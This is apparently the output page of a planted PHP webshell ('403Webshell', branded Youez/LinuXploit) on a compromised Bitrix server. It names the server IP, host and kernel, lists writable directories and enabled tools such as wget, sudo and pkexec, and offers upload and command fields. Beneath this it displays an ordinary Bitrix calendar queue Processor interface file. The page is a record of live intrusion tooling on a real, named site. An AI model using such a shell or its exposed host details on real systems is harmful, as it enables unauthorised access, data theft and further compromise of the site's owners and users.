403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/calendar/lib/core/queue/interfaces/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/calendar/lib/core/queue/interfaces/processor.php
<?php
namespace Bitrix\Calendar\Core\Queue\Interfaces;

interface Processor
{
	/**
	 * Use this constant when the message is processed successfully and the message could be removed from the queue.
	 */
	public const ACK = 'enqueue.ack';

	/**
	 * Use this constant when the message is not valid or could not be processed
	 * The message is removed from the queue.
	 */
	public const REJECT = 'enqueue.reject';

	/**
	 * Use this constant when the message is not valid or could not be processed right now, but we can try again later
	 * The original message is removed from the queue but a copy is published to the queue again.
	 */
	public const REQUEUE = 'enqueue.requeue';

	/**
	 * The method has to return either self::ACK, self::REJECT, self::REQUEUE string.
	 *
	 * The method also can return an object.
	 * It must implement __toString method and the method must return one of the constants from above.
	 *
	 * @param Message $message
	 // * @param Context $context // removed - It's not clear why it's here
	 *
	 * @return string|object with __toString method implemented
	 */
	public function process(Message $message): string;
}

Youez - 2016 - github.com/yon3zu
LinuXploit